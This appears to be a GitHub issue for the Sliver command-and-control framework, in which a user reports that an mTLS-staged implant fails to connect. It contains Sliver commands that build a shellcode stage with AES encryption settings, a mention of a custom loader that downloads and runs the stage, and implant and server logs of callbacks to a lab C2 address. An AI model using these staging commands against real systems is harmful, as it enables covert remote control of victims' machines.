-
Notifications
You must be signed in to change notification settings - Fork 1.2k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
mtls stage error #1903
Comments
http stage error 37.36 (KHTML, like Gecko) Chrome/107.0.6964.521 Safari/537.36 2025/03/13 11:21:48 session.go:84: Next CC = https://10.211.55.2:1236 |
profiles new --mtls 10.211.55.2:1236 --format shellcode --arch amd64 stage
profiles stage win64_stage --aes-encrypt-key "D(G+KbPeShVmYq3t" --aes-encrypt-iv "8y/B?E(G+KbPeShV"
I wrote a program, downloaded this stage, and then ran it,
server log:
INFO[2025-03-12T14:14:55+08:00] [sliver/server/c2/mtls.go:88] Accepted incoming connection: 10.211.55.6:59742
ERRO[2025-03-12T14:14:55+08:00] [sliver/server/c2/mtls.go:191] Un-marshaling envelope error: proto: cannot parse invalid wire-format data
ERRO[2025-03-12T14:14:55+08:00] [sliver/server/c2/mtls.go:106] Socket read error proto: cannot parse invalid wire-format data
debug log:
2025/03/12 14:05:54 sliver.go:129: Hello my name is ACCURATE_CRAFTSMAN
2025/03/12 14:05:54 limits.go:58: Limit checks completed
2025/03/12 14:05:54 sliver.go:147: Running in session mode
2025/03/12 14:05:54 session.go:69: Starting interactive session connection loop ...
2025/03/12 14:05:54 transports.go:41: Starting c2 url generator () ...
2025/03/12 14:05:54 transports.go:104: Return generator: (chan *url.URL)(0xc000111140)
2025/03/12 14:05:54 transports.go:92: Yield c2 uri = 'mtls://10.211.55.2:1236'
2025/03/12 14:05:54 transports.go:92: Yield c2 uri = 'mtls://10.211.55.2:1236'
2025/03/12 14:05:54 session.go:86: Next CC = mtls://10.211.55.2:1236
2025/03/12 14:05:54 session.go:176: Connecting -> 10.211.55.2:1236
2025/03/12 14:05:54 session.go:86: Next CC = mtls://10.211.55.2:1236
2025/03/12 14:05:54 transports.go:92: Yield c2 uri = 'mtls://10.211.55.2:1236'
2025/03/12 14:05:54 uuid_windows.go:48: Registry host uuid value too short
2025/03/12 14:05:54 sliver.go:327: Host Uuid: 53bea3c3-8d66-41a5-a755-cccf64bf635c
2025/03/12 14:05:54 tun.go:53: [tunnel] Tunnel handlers map[20:0x2a58d780660 22:0x2a58d77f380 23:0x2a58d77e9c0 80:0x2a58d77f8a0 82:0x2a58d7815e0 125:0x2a58d782540]
2025/03/12 14:05:54 mtls.go:134: Socket error (read msg-length): EOF
2025/03/12 14:05:54 session.go:218: [mtls] eof
2025/03/12 14:05:54 session.go:159: [mtls] lost connection, cleanup...
2025/03/12 14:05:54 session.go:168: [mtls] Stop()
2025/03/12 14:05:54 sliver.go:170: Reconnect sleep: 1m0s
2025/03/12 14:06:54 session.go:176: Connecting -> 10.211.55.2:1236
2025/03/12 14:06:54 session.go:86: Next CC = mtls://10.211.55.2:1236
2025/03/12 14:06:54 transports.go:92: Yield c2 uri = 'mtls://10.211.55.2:1236'
2025/03/12 14:06:54 uuid_windows.go:48: Registry host uuid value too short
2025/03/12 14:06:54 sliver.go:327: Host Uuid: 53bea3c3-8d66-41a5-a755-cccf64bf635c
2025/03/12 14:06:54 tun.go:53: [tunnel] Tunnel handlers map[20:0x2a58d780660 22:0x2a58d77f380 23:0x2a58d77e9c0 80:0x2a58d77f8a0 82:0x2a58d7815e0 125:0x2a58d782540]
mtls.go:
if err != nil || n != 4 {
mtlsLog.Errorf("Socket error (read msg-length): %v", err)
return nil, err
}
The text was updated successfully, but these errors were encountered: